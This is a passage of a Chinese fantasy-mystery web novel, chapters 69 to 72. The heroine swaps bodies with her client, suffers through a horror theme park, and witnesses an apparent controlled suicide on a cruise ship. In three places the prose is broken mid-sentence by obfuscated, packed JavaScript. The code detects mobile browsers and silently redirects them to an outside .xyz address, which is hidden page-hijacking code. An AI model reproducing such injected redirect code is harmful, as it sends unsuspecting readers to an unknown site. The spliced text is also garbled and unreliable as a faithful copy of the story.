庾林:“你让我送走的人。” 一句话让埋头吃甜品的周拾秋想起正事,她猛然站起身,激动得语无伦次,“常华!啊不,你可别胡说八道让人误会。” “怕我搅局?放心,人已经走了。”庾林冷言冷语,“大晚上不回家休息,跑这瞎灯黑火的地方与人见面,就是乌鸦小姐的私生活?” “呃……” 周拾秋沉默了,承认也不是,不承认也不是,好像哪一边的选择都不是好事。 见她沉默不语,庾林漫不经心地说:“刚常华让你后续如果有新的线索,随时再跟他联系,他也相信不是简单的自杀,更不是理想者与守旧者之间的暗斗,至于真相如何,他暂时没有头绪。” 听这话,显然不用解释,庾林也知道她究竟在干什么了。 “呵呵……”周拾秋不好意思地傻笑两声,尴尬辩解,“不是我有意隐瞒,你如果知道,大概率又要骂我多管闲事……” “你……哎……”仿佛被周拾秋说中了一般,庾林欲言又止,最后轻轻叹了口气,将想说教的话全部咽了回去,“所以你查出什么了?” 周拾秋松了口气,缓缓坐回椅子,勺子在碗中搅动,思索着道:“信息不多,常华遇上的进化者也许与我遇到的是同一伙人。” “你确定?我怎么觉得常华神神叨叨,脑子里装的东西乱糟糟让人看不懂。”庾林说。 “是有点,那应该是被控制系异能影响了,所以两个案子中,至少都有一个控制系进化者参与了。”周拾秋解释,思绪却慢慢飘向了闯入常华家里的那个人,若有所思地问,“你还记得田女士说过,叶姝自杀当晚,曾在叶姝家楼下见过常华吗?” 庾林说:“嗯,你还猜测存在变异系进化者。” “对,今晚常华跟我说,叶姝死后某晚,他在家里见到叶姝了。因此,我更坚定了这种想法。”周拾秋言辞肯定。 庾林顿了顿,忽然开口:“你干嘛这么在意?这种事交给进研所烦恼不就好了。” 周拾秋被问得一愣,这就是她本打算瞒着庾林的缘由。 支支吾吾挠着头,周拾秋忽然后悔了,还不如一开始就承认自己与人约会,让庾林不要打扰自己,兴许就没这些麻烦事了。 “咳,我闲得慌不可以吗?”一时找不到合适的借口,周拾秋只好理直气壮地胡言,然后敲了敲碗,转开话题,“庾木木,你不是说给我放假吗?这加班是怎么回事?” “嗯……本来是放假休息,你不闲得慌吗?闲就好好工作吧。”庾林气定神闲地回答。 “闲……这不是我刚说……” “赶紧吃完回家。” 周拾秋刚想反驳,就被庾林出言打断,让她心头一阵憋闷,电话就此挂断。 嘴上讨不着好,工作也得处处庾林说了算,周拾秋真没这么憋屈过,却又没辙,只能将怒气撒在那碗红糖酒酿丸子上,化愤怒为食欲。 她慢悠悠地吃完那碗甜品,又在客厅里看了会儿电视,觉得时间差不多了,才提交任务完成申请。这一次申请通过,周拾秋传回自己身体。 一睁眼,果然已经回到自己房间,还省了开车回家的麻烦,算是她为自己争取的些许好处,不重要,却不可或缺,否则亏得她心疼。 “这个庾木木,怎么时机抓得这么准,但凡再晚一点,这事就瞒下来了……” 周拾秋嘴里嘀咕着,走出房间,去找齐绮交代实情。 齐绮正坐在梳妆台前擦着护肤品,听周拾秋嘟嘟囔囔着推门进来,笑着问:“又怎么了?庾先生又给你派什么恶心人的任务了?” “那倒没有,吃了道甜品,味道真不错。”周拾秋一边回着话,一边搬了张凳子到齐绮身旁坐下,“问题是,我正跟常华聊案子,他突然来个委托就有点烦人了。” “常华?谁啊?等等,聊案子?哦……那我误会了,哈哈哈,我还以为你这么晚与人见面,是有了什么心仪对象呐!” 齐绮先是疑惑,随即恍然大悟。 周拾秋憋着嘴,没好气地说:“我是什么花痴吗?才解决一个混蛋,没过几天又看上别人了……” “我的错,你电话挂太快了,我都没问清,哈哈哈……对不住!”齐绮赶紧赔笑,忽而想到什么,又一本正经地说,“那时候庾先生发来消息问你回家了没,我说以为他还没放人呢,他就让我问问你在哪儿。” 齐绮一点点往下说,周拾秋的心就一寸一寸往下沉。 如果没有听到齐绮这句话,周拾秋几乎都遗忘了自己撒了一个谎,方才庾林也没戳穿。 ——【我跟齐绮出来找朋友玩。】 这句话在脑海中无限循环,周拾秋尴尬得脚趾抠地,不仅开始怀疑,庾林说什么不喜欢吃甜食纯粹是借口,很有可能只是想借着意识交换的机会,探探她到底在见谁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022744|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪,一个不喜欢吃甜食的人,怎么会特意让管家做甜品呢? 一下都说得通了。 意识交换真是麻烦事!这种事能找瑞波恩索要补偿吗? 当然,身为进化者的她只能想想而已,谁知道是不是她身上的异能造成了这种局面呢? 胡思乱想一通后,周拾秋重重地叹了一口气,正想简单说说常华的事后就去睡觉,陡然意识到哪里不对。 “咦?庾木木什么时候有你联系方式了?”周拾秋倏然发问。 这个问题在齐绮看来,不甚要紧,继续抹上护肤品,一边做着脸部按摩,一边随意答道:“不就被庾先生拉去夜跑那晚,说为了确保你保质保量完成约定,要添加紧急联系人。” 霎时间,一些淡忘的记忆回溯,周拾秋想起在庾林手机上看到的未接来电,那个眼熟的号码正属于齐绮。 难怪她没听见铃声,很可能当时就是齐绮与庾林两人在交换手机号。 不过,更让周拾秋震惊的是庾林这么小心防备,甚至还安排了一个监督人,可以轻易掌握到她的去向。 “离谱,需要这种程度的防范吗?我还能半途逃跑不成?”周拾秋气鼓鼓地瞪着眼。 齐绮没那么激动,表现得较为平淡,笑着劝道:“理想者嘛,发发癫好像都不奇怪,只要别再拉我夜跑,我就烧高香了!” 这反而让周拾秋有些不好意思,她拍拍齐绮的肩,郑重其事道:“放心,我肯定不跑路,剩下时间努力做好,让庾木木无话可说,无处找茬!” 看周拾秋一脸认真,齐绮先是一愣,随即便哈哈大笑起来。 “干嘛,我说真的!” “好好好,我信。” “没看出来……” “哈哈,就你那脾气,能不惹事就不错了,真没必要为难自己。” “哼,小瞧我,你等着瞧吧!” “嗯啊,那你好好表现咯。” 两人打打闹闹一番后,周拾秋才终于回归正题,跟齐绮同步了从常华口中得到的消息。 对于周拾秋追查连环凶案之事,齐绮并不赞同,上回周拾秋就险些着了进化者的道,若再深入,说不定会引火烧身。 为了不让齐绮担心,周拾秋没有说出对于百泉参与其中的猜想。她随口答应齐绮不会再查下去,安了齐绮的心,随后便道了晚安,离开了齐绮的房间。 话可以轻易说出口,可想要追逐真相的心却难以抑制,如果百泉真的走上歧途,身为朋友的她难道不该出手制止吗? 带着这样的想法,周拾秋偷偷关注起任务大厅的动静,特别是像那晚一样的寻死委托。 谁也不知道,那伙罪犯是否还会故技重施。 周拾秋躺在床上,目不转睛地盯着手机。屏幕上显示着危机管理局任务大厅,无数任务相继出现,又不断被人完成,却始终未出现她等待的任务。 这一等,等了许久,等到困意席卷全身,她便沉沉睡了过去。 再次睁眼是被嘈杂的人声吵醒,就像突然进了什么集会地,耳边全是嘀嘀咕咕的交谈声。 周拾秋心头一震,猛然睁开眼,发现自己正站在某主题乐园大门前,眼前人流拥挤,数列蜿蜒的队伍排了足足五十米。 70. 第070章 “小舅舅,你到底进不进啊?不会人都到门口了,突然认怂想溜吧?” 何洲略带挑衅的声音从一旁传来,吸引了周拾秋的注意,她从人头攒动的队列收回视线,循着声音望去,只见距离她十来步的地方,正站着何洲与清悦二人。 两人似乎走出一段距离,才发现庾林没跟上,此刻回首寻找,发现他正在原地发呆。 听了何洲的话,周拾秋又抬头看了一眼入口大门。 第一眼看去,整个入口大门形同两个巨型怪物托举着一块巨石,巨石山写着五个字——勇敢者乐园,巨石有些摇晃,仿佛随时可能坠落,将下方排队入园的游客砸成肉泥。 心中生出隐隐不安,从这氛围感看来,不像是什么正经游乐园,恐怕是以肾上腺素飙升为卖点。 一瞬间,周拾秋好像知道了点什么,莫不是庾林与外甥比胆量,为了不丢脸,直接将这难题扔给了她这个危代人吧? 如此一想,周拾秋立刻收回了正欲招呼何洲的手,学着庾林的样子,将围巾往上提了提,遮住口鼻,只露出一双眼睛,双手插入外套衣兜,漫不经心地走向何洲。 “管好你自己。”周拾秋学着庾林的语气,冷冷回应一句。 既然关乎于金主的颜面,她自然不能轻易暴露,只好假扮到底,总不能让何洲知道,他这位小舅舅还没进大门就怕得搬救兵了。 只是不知里面的游乐项目到底有多刺激,对于能否承受得住,她心里没底。 庾林真是她的克星,总能精准地选中她不擅长甚至极力想回避的事,要说是刻意报复捉弄,她都相信。 如今为了圆满完成委托,令庾林刮目相看,她也只能硬着头皮死撑。 “我从小被吓大的,小舅舅没问题吧?如果实在害怕,现在退出还来得及。”何洲装模作样地说。 清悦怕两人争个没完,好言打起圆场:“呵呵,其实我挺怕的,不过听朋友说很好玩,也想试试。还要多谢庾先生请客,要我一个人来,那估计很久也下不定决心。既然来了,我们三就抱团一起感受一下,人多才好玩嘛。” 听这么一说,周拾秋有点懵。 敢情是庾林提议到这儿来玩的? 霎时间,一种被针对的感觉油然而生,可要恶心她似乎也不用拉来何洲和清悦。 一时想不清楚,她索性催促二人进场。 此刻时间,早上8点半刚过,周拾秋跟在何洲和清悦身后,从VIP入口进入园区,赶在大部分游客入园前开启了游玩项目体验。 这个主题乐园与她预想一般,根本没那么简单,几乎所有项目都是刺激加惊悚,简直不打算让游客好过。 而周拾秋与何洲从进入园区开始,就开启了嘴硬模式,被吓得再惨也不能在对方面前认输。 清悦嘴上说着害怕,可玩起来跟不要命似的,全程兴奋,乐此不疲,连何洲都甘拜下风。 在瘴气弥漫的密林之间,三人撑着竹筏顺流而下,手里各拿一根竹竿,用以调整船向。 这是他们选择的第一个游玩项目——密林逃生,一场野外求生之旅。 空气中,隐约藏着点异样的味道,搭配上阴暗密林中氤氲的雾气,让坐在木筏上的三人神经紧绷。 忽而木筏像是碰到了水下的暗礁,一阵颠簸,险些将人甩飞出去,吓得周拾秋伏低身子,手指扣紧竹筏。 她稍露狼狈,何洲就抓住机会肆意嘲笑。 “小舅舅,我都说这乐园主打沉浸式恐怖感,你干嘛非要逞强呐?” 说话时,何洲脸上显然流露出不满,就像是暗中责怪庾林的出现破坏了他与清悦独处的机会。 周拾秋连忙坐起身,挺直腰板,故意装作一副云淡风轻的模样,清了清嗓子,道:“我是怕你小子丢脸,来给你撑场面!” “你快别撑了,玩个漂流就……” 何洲话还未说完,忽然传来水花崩裂的声响,一个黑影破水而出,轰然窜上竹筏,又顺着边缘缩回水里,那力道带着竹筏剧烈摇晃。 水漫上竹筏,吓得何洲发出刺耳的尖叫,下意识蹬腿远离竹筏边,可原本空间就有限,差点把周拾秋挤到河里。 周拾秋用戴着手套的手拍着何洲的脑袋,就算刚才自己也被吓得不轻,也要趁机嘲讽:“哼,这就怕了?怂包!” “我、我是太激动了,想抓住那东西看看是啥玩意儿来着!哈哈哈……”何洲慢慢挪回原来的位置,心有余悸地探头看向水下。 清悦拍着手,惊喜地说:“哇,我听说这家主题乐园运用了许多仿生科技,刚那好像是鳄鱼尾巴,天啊,果然跟真的一样!” “不会就是真的吧……”周拾秋汗流浃背,小声嘀咕。 就在三人说话时,又有什么从水下撞击竹筏,三人的体重都不太能压住,整个竹筏从水面微微跃起,又猛地落下,水花四溅,竹筏发出的嘎吱声,在颠簸中跟要散架似的。 三人的尖叫声几乎同时响起,只是还混杂着清悦不合时宜的欢乐笑声。 周拾秋真觉得这乐园的游乐项目想着法地折磨游客。 岸上弥漫着瘴气,水下是暗礁与具有攻击性的鳄鱼,在河道尽头陡然出现三条支流,似乎要做出选择,控制竹筏进入正确的支流。 然而思考的时间有限,水流速度越来越快,而鳄鱼的攻势也逐渐变强,想要防止自己落水就已经花光他们全部力气。 还没来得及讨论出结果,木筏就已经顺水飘进了中间那条支流。 水流却愈发湍急,显然这条路不是好选项,因为周拾秋抬眼看见二十米外,水面陡然消失,一个十米瀑布正在前方等着他们。 “啊啊啊——救——命——” 竹筏载着三人一路狂奔,然后冲出河道,在三人撕心裂肺的尖叫声中,做了优雅的自由落体。 这落水是真的落水,三人无一幸免,全从竹筏上飞了出去,以不同的造型坠入水潭,然后被提前穿好的救生衣托起,向着岸边漂去。 最终,岸边的工作人员将三人打捞起,并宣布他们挑战失败。 浑身湿透的三人颤抖着走进整休室,特制秒干舱启动,迅速烘干了全身,随后,三人一脸淡定地离开了漂流项目场地。 周拾秋:“呵,就这种程度,一般嘛。” 何洲:“嗯,瀑布出现得急了些,还有改进空间,比如加长湍急的河道,先把紧张氛围烘托到顶点。” 清悦:“哇,我刚紧张死了,那鳄鱼好真,瘴气的味道也有点令人窒息,掉下瀑布的时候我真没想到,哈哈哈,太吓人了!我们要不再玩一次,看另外两条路有什么陷阱。” 嘴硬的两人闻言脸色惨白,双唇打颤,对视一眼后,果断摇头拒绝。 结束一个项目,周拾秋心都凉了,甚至怀疑这家主题乐园是以杀人为目的。 而这仅仅是个开始。 随后,他们又在过山车项目中体验了车厢脱轨,在鬼屋中被会抱腿咬人的畸形怪物追赶,在海盗船上感受风暴中沉船的绝望,在漩涡水滑道中经历被困的幽闭空间…… 周拾秋和何洲开始还能嘴硬,稳住突突欲逃出胸腔的心跳,嘴角抽搐着强颜欢笑。 周拾秋:“哈哈哈,这设计师有点东西噢,不错,我喜欢。” 何洲:“还行,我刚刚只惊到了一丢丢,还有上升空间!” 多经历几次后,两个嘴硬的人被彻底教做人了。 周拾秋:“确定不会死人?不对吧,真没人投诉这家主题乐园吗?” 何洲:“我胃里不舒服,要不我们还是找点轻松的项目?” 整个过程,恐怕只有清悦一人极其享受,每场冒险都让她惊喜不已,刚结束一个就想奔赴下一个,还要故意装出害怕的模样,提供一点情绪价值,避免另外二人难堪。 于是在两个腿软同伴的强烈要求下,清悦提议去体验最温和的项目——摩天轮。 周拾秋和何洲感激涕零,庆幸在恐怖主题的乐园里,还存在如此有良心的项目。 清悦兴致勃勃地走在前头,两个被折磨到身心俱疲的人艰难地跟在身后,两人相互搀扶着,交头接耳。 何洲:“小舅舅,你出的什么馊主意,不行啊……说什么恐惧能快速拉近两人关系,还说这家主题公园就完美符合条件。拉近什么拉近,我魂都要飞了……” 周拾秋恍然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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等座舱缓缓升到空中,二人终于彻底放弃了抵抗,他们终究低估了这家主题公园。 哪儿有轻松休闲项目,会让游客体验被困半空,遭遇台风,座舱摇摇欲坠的真实感呢? 尖叫声不绝于耳,偶尔穿插着清悦爽朗的笑声,这场委托让周拾秋狠狠在心里给庾林记了一笔。 另一边,庾林正在花店里,跟着齐绮学习修剪花叶,帮忙店里的事,反倒悠哉自在。 齐绮:“庾先生今天又让我家十秋去忙啥了?” 庾林:“小洲闹着要请学姐去游乐园玩,让我作陪,我交给乌鸦小姐了。” 齐绮:“那十秋肯定很高兴,以前上学时她父母很少让她跟同学一起出去玩,怕她控制不住异能,人多的地方都不让她去,她可羡慕别人了。” 庾林:“嗯,你说过,我记得。” 齐绮:“她就小孩心性,可胆子还不如小孩,后来跟我一起去游乐园,连过山车都不敢坐。” 庾林:“……” 这句话听得庾林一阵心虚,他记得好像给何洲推荐的是含恐怖元素的主题乐园,于是再次拿出手机,查了查有关勇敢者乐园的评论。 上面清一色的五星推荐评语: 【绝绝子,建议带喜欢的人来这儿玩一天,绝对不虚此行!】 【强推!我九十岁奶奶到这儿来玩,腿也不酸了,腰也不疼了,恨不得把我躺棺材里的爷爷拉出来一起再玩一次。】 【感谢勇敢者乐园,让我成功追到女神,怎么可能有女生不喜欢这些精彩的游玩项目?】 …… 庾林松了一口气,应该还行,微恐也算调味剂。 只是偶然瞥见,评论区的角落里,孤零零出现一条差评,点开一看: 【评论的人都是什么心态?!自己吃了屎,就想能骗一个是一个吗?MD我尿都吓出来了,你知道喜欢的人当时看我的眼神在我心里留下怎样的心理阴影吗……】 后面还没看完,这条评论就被删除了。 随即,又新增了一条五星好评,评论的还是那个给差评的人。 【本年度最佳,没有之一,没玩过你会后悔一辈子!】 庾林低头看了看手环,嘴里嘀咕:“现在结束任务好像也来不及了……” 面上风平浪静,只有剪刀咔嚓咔嚓发出的声响变得急促,稀里哗啦掉落的花叶彻底乱了章法,引得齐绮一声呵斥,庾林才觉背脊发凉。 这……恐怕解释不清了…… 要不当作不知情吧…… 71. 第071章 陪着清悦在勇敢者乐园从早上开园玩到太阳下山,清悦玩得很尽兴,周拾秋和何洲脸色苍白,如同经历了生死磨难。 原本清悦想请两人吃饭,周拾秋委婉地拒绝了,她只想赶紧交差,便将独处的机会留给了何洲,不过看何洲的模样,恐怕暂时也没别的心思了。 奇怪的是,这天过后,庾林似乎突然消停了,对于她询问去勇敢者乐园的理由,一直保持沉默,并扬言会给周拾秋放两天假。 此后,庾林当真信守承诺,整整两日没有任何动作,反倒让周拾秋因为突然闲下来而感觉不习惯。 这两日,周拾秋白日在花店里忙活,夜里则死死盯着危机管理局任务大厅,可惜再未发现奇怪的寻死委托。 聊天大厅里,亦没人再讨论自杀案,她也寻不到新的线索。 想来,刚出了人命,警方和进研所查得紧,那伙罪犯不便行动,因此暂且沉寂下来。 这样的日子一直持续到两日后的晚上。 L463年11月28日晚上10点,周拾秋如常躺在床上刷着手机,漫无目的地混迹各大八卦网站,偶尔登录危机管理局,看一眼有没有新的异常任务出现。 忽然间,一道白光沿着手环闪了一圈,周拾秋猛然坐起身,只见手环屏幕上再次出现了任务提示,正在从10秒倒数。 并非紧急委托,又能是什么任务?周拾秋心中茫然。 说好给她放假,今晚终于忍不住派任务了,看来她这个危代人还是不可或缺的存在。 如此一笑,周拾秋得意地按下了“接受”。 当意识切换成功后,迎面而来的是带着潮湿气息的海风,风中隐藏着些许硝烟味。在星光点缀的夜幕之上,此刻正绽放出五颜六色的花朵,璀璨而夺目。 随着一声声爆炸声,无数光点拖着尾巴升入夜空,随后到达高点,绽放,相继开出照亮夜空的花朵。 这些光彩照人的花朵在展示了最炫丽的瞬间后,又如流星般坠落,火光逐渐黯淡,重归于黑暗,然后交由后继者,再次为黑色的夜幕绣上最浪漫的花火。 那些映入眼帘的美好,令周拾秋忍不住发出一声声不由自主的欢呼,而身旁的所有观众似乎此刻都与她有相同的感受。 一阵阵惊呼声中,一道道烟火射入夜空,相互编织成一幅震撼人心的火光画作。 在这夺人眼球的夜幕下,是无边无际的海面,在烟火的映照下,波光粼粼的海面与夜空融合、交汇,以截然不同的风格记录下烟花盛开的瞬间。 在这漫无边际的天与海之间,一艘游轮正以缓慢的速度行驶着,而周拾秋正站在这艘游轮的观光甲板上。 除了她,周围还有许多像她一样欣赏着烟花的乘客。 周拾秋心中不由感慨:难怪整整两日不出现,原来是坐游轮出海度假了……还真会享受…… 在心中感叹片刻,周拾秋忽然意识到,庾林与她交换意识一定不会是好事,急忙将视线从烟花绽放的夜空中收回,四下寻找起庾林委托的线索。 很快,她敏锐地嗅到了一股血腥味,随即身后传来一阵刺耳的尖叫声。 她循声望去,刚一回头就发现距离她不到两步远的甲板上,一名穿着华贵的男子正倒在血泊中,他双手紧紧捂住脖子,黏腻的血液正从指缝间涌出。 男子张着嘴,浑身随着喉咙一阵一阵抽搐,无论他如何大口吸气,也无法将氧气送入体内,很快就在周拾秋的眼前没了动静。 倒地男子身边站着的女人惊恐地跌坐在甲板上,她捂着脸,尖叫声淹没进新一轮绽放的烟花爆炸声中。 而周拾秋的脚边,正掉着一把占满鲜血的刀,在烟花的照耀下,红得有些刺眼。 周拾秋抬起手,只见黑色的皮手套上留有一道湿漉漉的痕迹横穿过手心。 此刻,周拾秋只觉一种不祥的预感袭上心头——庾林杀人了。 终于还是走到了这一步。 这是危代人极有可能遇上的麻烦。 当委托人冲动犯罪的时候,下意识的逃避会自动激活紧急委托任务,危代人就不得不面对委托人造成的糟糕局面。 就比如此刻面对尸体的周拾秋。 现在的情况,怎么看都是庾林杀了人。而周拾秋的意识此刻正在庾林的身体里,她能选择的路只有两条:要么帮庾林逃脱罪责,要么送庾林入狱。 如果选择帮庾林善后,她得用异能让一些关键证人遗忘关键性目击证据。 如果选择送庾林入狱,她相信庾林一定会将她锁死在这具身体里,从此与铁窗相伴的将是她。 突然回想起意识传送前的一幕,她分明记得手环上有白光闪动,并且是她主动选择了“接受”。 这就意味着,根本不是惊恐下的逃避自动激活了紧急委托,庾林是在十分镇定的情况下,通过手环向她发起了委托。 “不是吧……庾木木还敢杀人了?”周拾秋下意识地咬着手指甲,用只有自己能听见的低沉声音呢喃着。 所以,庾林并非冲动杀人,而杀人后还故意委托她来善后? 一时间,周拾秋都分不清到底自己和庾林谁才是进化者了。 从小到大被父母和朋友教育出来的良知不停向她发出警告,周拾秋迟迟没敢对目击者下手,她知道这样做是不对的。 也就是她犹豫了一会儿的功夫,周围的人陆续发现情况不对,尖叫声渐起,议论声将紧张的氛围推向了高潮。 凶手是谁? 当所有人这么思考时,目光逐渐向周拾秋脚下的凶器汇聚。 周拾秋整个人僵硬在原地,她知道,考验她良知的时刻到了。 就在周拾秋准备自首认罪时,耳边响起一个熟悉的声音高声嚷道:“怎么回事,这船上的安保都是干什么吃的?” 周拾秋茫然望去,只见庾双正用丝巾掩着鼻,眉心微皱,带着点恐惧盯着甲板上的尸体。 而何文昊此刻一只手揽着庾双的腰,另一只手挡在庾双身前,防范着四周可能潜在的危险。 四周立马有随船安保人员涌了过来,将尸体四周围了起来,安抚着众人情绪,并阻止大家靠近。 在一顿混乱中,庾双担忧的眼神看向了周拾秋,细声说道:“吓到你了吗?要不我们先回房?” 周拾秋犹豫良久,终是在良心的谴责下,悄声开口:“嘞个……这人会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030413|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会是我杀的呢?” “说什么胡话呢!”庾双大惊失色,高声呵斥一声,见旁人投来异样的目光,又赶紧压低了音量,“你一直跟我在一起,杀什么人?” 周拾秋愁眉苦脸,摊开右手,举到庾双面前,说:“我手上好像留着血迹……” 那手套上沾染上的横穿手心的湿润痕迹,与地上的刀柄几乎能完美匹配上,周拾秋无奈地叹了一口气,感觉尘埃落定。 结果下一秒,何文昊笑着敲了敲身后栏杆,“这不是你刚才抓栏杆沾上的水吗?” 周拾秋瞬间懵了,抬起手掌,将手套靠近鼻尖嗅了嗅,确实没有血腥味,脱掉手套用手指摸了摸,手指干净得没有一丝血迹,那湿润痕迹只是栏杆上的水,而非刀柄上的血…… “哈哈哈,我还想吓唬你们一下,居然被你们看穿了,真没意思。”周拾秋尴尬地找补道。 好的,是她多想了,那庾林叫她来干嘛呢? 正在这时,方才尖叫的女子被人从地上扶起,有些惊魂未定地向众人解释:“我、我看到他自己抹了脖子……那场面……太、太吓人了……” 自己抹了脖子?自杀? 浑身的细胞都在向周拾秋发出警报,她头皮发麻地望向尸体,调整了好几个角度,才确认死者衣袖下藏着危机管理局手环。 因为布料的遮掩,周拾秋看不清手环的细节。 正在她慌神时,一股令她背脊发凉的异能气息倏然出现,周拾秋瞬间警觉,循着那阵气息望去,她看到一名佝偻着身子的老婆婆穿过人群往船舱内走去。 她从未见过那位老婆婆,可那股异能气息却让她感觉十分熟悉。 那是百泉的异能气息。 周拾秋迅速绕开人群,朝船舱追去,身后传来庾双的呼喊声,可她无心理会,猛然跳动的心脏呼唤着她追上那个身影。 然而等她进入船舱时,空无一人的走廊里,连脚步声都没有,而那股熟悉的异能也彻底消失了。 周拾秋在附近找了一圈,没有找到那位老婆婆的踪迹,对于异能残留的探知不是她的强项,她只能放弃继续寻找下去。 莫非是错觉? 因为最近总想着这件事,所以当自杀再次出现时,才会神经错乱? 周拾秋重新回到观光甲板上时,案发现场已经被封锁,不让人靠近,而船员也电话联系了警方,航线因此发生改变,将花费6小时返航靠岸。 所有客人被要求在房间里休息,等待警方上船调查。 暂时什么事也做不了,周拾秋只好跟着庾双和何文昊一道返回海景套房。 二人的房间就在隔壁,庾双进门前还不放心地跟周拾秋唠叨:“你好不容易同意一起出席这场游轮晚宴,没想到还碰上这种事……哎,希望一切尽快结束吧,有什么不舒服的地方,随时告诉我。” 自从上回庾双上门兴师问罪,周拾秋见到庾双就有些发怵,急忙敷衍道:“嗯,我没事,困了,先睡会儿,你们也早点休息。” 说完,周拾秋就冲二人挥手道别,缩进了庾林的房间里。 周拾秋进房间第一件事就是给庾林打去电话,开口便说:“出事了!” 72. 第072章 庾林被她吓了一跳,脑子里不停思考着可能出什么事,然后冷静地安抚道:“船出事了?你先别慌,有救生船可以逃生,先换回来……” 一听就知道庾林已经往最坏的方向联想了,周拾秋哭笑不得,虽说自己挺倒霉,但也不至于倒霉成这样吧? “船没事,是船上有人自杀了。”周拾秋耐心解释,“而且我刚才……好像感觉有进化者在附近。” 庾林沉声询问:“你现在在哪儿?” “房间,所有乘客都回房了。”周拾秋抬眼扫了一圈房内。 “嗯,你别乱跑就行,如果又是连环凶案那伙人,他们的目的应该已经达成,但以防万一,别进入他们视野。游轮返航怎么也要6小时,进研所应该会上船调查。” 庾林平静地分析着局势。 “没了。” 周拾秋犹豫半晌,最终还是开了口。 “什么没了?”庾林没明白。 “进化者消失了。”周拾秋笃定地回答。 “船还未返航,大海之上,怎么会……”庾林也懵了。 这正是周拾秋头疼的点,按理说,那进化者没理由消失,她也考虑过会不会是对方隐匿了异能气息,可那人分明是中阶进化者,不可能完全躲过她的感知。 更让她放心不下的是那人的身份。 真的是百泉吗? 周拾秋心乱如麻,脑子里想了很多,到了嘴边就化成了一声叹息,“我也不知道怎么回事,也可能是我太敏感了,错觉罢了……还是等进研所上船检测吧,施煦说不定能闻到异能残留。” “不管怎么说,你先回来,如果进研所带仪器一同前往,你会暴露。”庾林轻声指挥道。 周拾秋其实并不想走,她挺想从进研所专员的调查中获取更多信息,可庾林说的危险情况的确存在,她不得不防。 纠结再三,她还是点头同意了,只是在手环上操作时,她又忽然想起一个问题,疑惑地对电话那头发问:“等等,你让我过来究竟是做什么来着?” “……” 庾林沉默了,几秒后才发出一声冷笑,说:“聪明的乌鸦小姐,要不你回想一下在船上看到了什么?” “嗯……”周拾秋顿住伸向手环屏幕的手指,盯着天花板努力回想一遍,“凶案现场!” “……”电话那端没有任何回应。 周拾秋又试探性问道:“你是提前发现船上有异样,想让我阻止命案,还是让我抓进化者?对不起啊,一睁眼,被烟花吸引了注意力,没立马觉察到……等回过神已经……” “……还好你的职业不是警察。”庾林重叹一声。 “瞧不起我?”周拾秋不服气。 “不敢,只是对你的迟钝又有了进一步认知。” “有这么当面骂人的吗?” “……你先回来休息。” 不给周拾秋任何还嘴的机会,庾林挂断了电话。 周拾秋盯着手机屏幕,一时有些无语,最近庾林给的委托都很古怪,可他偏偏不给解释,还挑她毛病。 嘴里骂骂咧咧,周拾秋提交了任务完成申请,然后很快重新回到了自己的房间。 人是回来了,可心却留在了游轮上,她脑海中不听闪过那位老婆婆的背影,穿插着死者自刎的画面,恍惚间,甚至觉得空气中都弥漫着一股血腥味。 片刻后,她忽然联想到,如果同样是那伙进化者所为,危机管理局上是否又出现了倒霉的危代人呢? 抱着碰运气的想法,周拾秋用手机登录了危机管理局,扫了一遍任务大厅。 毫无意外,并没有出现类似的寻死委托。 其实周拾秋有此预期,因为她记得在游轮观光甲板上看到的乘客,几乎都是有权有势的有钱人。 庾双也说过,庾林之所以上船,是陪同参加晚宴,这晚宴显然不是任何人都可以随意参与,大概率都是受邀的贵宾。 那么,死者是瑞波恩VIP客户的可能性极高。 当然,这只是周拾秋的个人猜测,毕竟她未能看清死者手环样式,分不清是通用版,还是定制版。 搜寻一圈无果,周拾秋沮丧地放下手机。果然只能等到明早警方和进研所的人上船调查结束,再向庾林打听具体消息。 一时无事,周拾秋只能试着闭上眼睡觉,不出意料,辗转反侧,难以入眠。 脑子里闪过太多画面,意识太过清醒,可身体的疲惫在向她释放睡觉的信息。 然后身体和意识就像在打架,没有输赢,只让她又困又清醒。 忽然耳边响起消息提示音,周拾秋不情不愿地睁开眼,拿起手机看了一眼,这一看,她整个人从床上坐了起来。 手机屏幕上是一条来自于常华的消息: 【她又来找我了,不能再逃避,得弄清怎么回事。】 一股不祥的预感油然而生,周拾秋随即打了个电话过去。 “嘟——嘟——” 打电话和收到消息两者间隔时间很短,可迟迟没人接电话。 “嘟——嘟——” 周拾秋知道对面出事了,脑子高速运转,思考着该不该报警。可她并不知道常华住址,也不知道常华现在在哪里,报警该怎么说? 脑子混乱地思考时,电话已经接连拨打了几次,无人应答的结果随着时间的流逝将焦虑无限放大。 一筹莫展之际,她想到了一个人——夜猫子,人品虽然难评,可好歹与常华相识,兴许知道常华住址。 正当她准备挂断电话转而联系夜猫子时,电话接通了。 一颗悬着的心陡然落地,仿佛虚惊一场,周拾秋长叹一口气,带着些微不满询问:“大晚上别吓人好吗?你到底怎么了?又遇到什么事了吗?” 对面沉默了半晌,然后才慢悠悠地传来生硬的声音,如同毫无感情的机器。 “没什么,是我害死叶姝,我有罪,应当偿命……” 